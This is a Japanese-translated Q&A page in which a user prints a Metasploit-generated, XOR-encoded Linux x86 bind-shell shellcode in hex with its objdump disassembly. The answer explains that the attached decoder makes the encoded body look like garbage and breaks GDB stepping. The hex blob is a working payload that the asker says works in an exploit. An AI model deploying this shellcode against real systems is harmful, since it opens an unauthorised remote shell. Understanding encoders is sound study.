web-dev-qa-db-ja.com

Metasploitが奇妙なシェルコードを生成する

したがって、メタスプロイトを使用して、ヌルバイトなしのpayload/linux/x86/Shell_bind_tcpペイロード(generate -t raw -b '\x00' -f shellcode)を生成しました。これがシェルコードです:

$ xxd -p shellcode
dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07
e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a
589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29
743bb1c0eacad642a045f9d24d9b7a

そして、これがobjdumpがシェルコードと考えているものです:

$ objdump -D -b binary -m i386 shellcode

shellcode:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   db dd                   fcmovnu st,st(5)
   2:   d9 74 24 f4             fnstenv [esp-0xc]
   6:   5e                      pop    esi
   7:   33 c9                   xor    ecx,ecx
   9:   bf 0e 0f 58 44          mov    edi,0x44580f0e
   e:   b1 14                   mov    cl,0x14
  10:   31 7e 19                xor    DWORD PTR [esi+0x19],edi
  13:   83 c6 04                add    esi,0x4
  16:   03 7e 15                add    edi,DWORD PTR [esi+0x15]
  19:   ec                      in     al,dx
  1a:   fa                      cli    
  1b:   69 9f 07 e7 d9 5c b4    imul   ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
  22:   82 df eb 
  25:   db e3                   fninit 
  27:   86 26                   xchg   BYTE PTR [esi],ah
  29:   9b                      fwait
  2a:   5f                      pop    edi
  2b:   19 eb                   sbb    ebx,ebp
  2d:   f3 5d                   repz pop ebp
  2f:   a5                      movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
  30:   1a 5f 08                sbb    bl,BYTE PTR [edi+0x8]
  33:   b5 4d                   mov    ch,0x4d
  35:   0f 45 54 07 c9          cmovne edx,DWORD PTR [edi+eax*1-0x37]
  3a:   0d 5a 58 9c ef          or     eax,0xef9c585a
  3f:   60                      pusha  
  40:   ea 9a 5f 0e c1 22 dc    jmp    0xdc22:0xc10e5f9a
  47:   7f bf                   jg     0x8
  49:   ef                      out    dx,eax
  4a:   63 ec                   arpl   sp,bp
  4c:   19 85 5c 4b 57 d9       sbb    DWORD PTR [ebp-0x26a8b4a4],eax
  52:   ea 12 9f b1 c3 cb 2c    jmp    0x2ccb:0xc3b19f12
  59:   29 74 3b b1             sub    DWORD PTR [ebx+edi*1-0x4f],esi
  5d:   c0 ea ca                shr    dl,0xca
  60:   d6                      (bad)  
  61:   42                      inc    edx
  62:   a0 45 f9 d2 4d          mov    al,ds:0x4dd2f945
  67:   9b                      fwait
  68:   7a                      .byte 0x7a

このリンクは、同様の逆アセンブリも提供します。 http://www.onlinedisassembler.com/odaweb/x1SSxJ/

私は間違っているかもしれませんが、このシェルコードは奇妙に見えます。まず、それは機能しませんが、それが間違っていることを示すには十分ではありません。 2番目の問題は、objdumpが(bad)を下部近くに示していることです。これは、おそらくアセンブリが間違っていることを意味します。最後に、私は議会を読んだ後、それが何をしているのか見当がつきません。これと同じペイロードのシェルコードをnullバイトで生成すると、正しい読み取り可能なアセンブリが得られます。 nullバイトを削除しても、シェルコードがこれほど複雑になるとは思いません。

私は何か間違ったことをしましたか?そうでない場合は、誰かがシェルコードの仕組みを説明できますか?

2
gsingh2011

さて、IRCチャンネルで質問することでいくつかの回答を得ました。

-bを使用すると、指定されたバイトを回避するためにシェルコードがエンコードされます。デコーダーは最初に取り付けられており、そのコードは実際には読み取り可能で意味があります。この特定のデコーダーは、シェルコードのバイトのXOR処理で何らかの処理を行っているようです。これは、分解するとシェルコードがガベージのように見える理由を説明します(実際には命令ではありません)。また、GDBは次の命令を0xCCまたはブレークポイントに置き換えるため、GDBを使用してシェルコードをステップ実行しても機能しないことがよくあります。これは、デコーダーがXOR誤ったバイトを生成し、プログラムがクラッシュすることを意味します。

シェルコードは実際には正しく、私はそれが私のエクスプロイトで機能するようにしています。

2
gsingh2011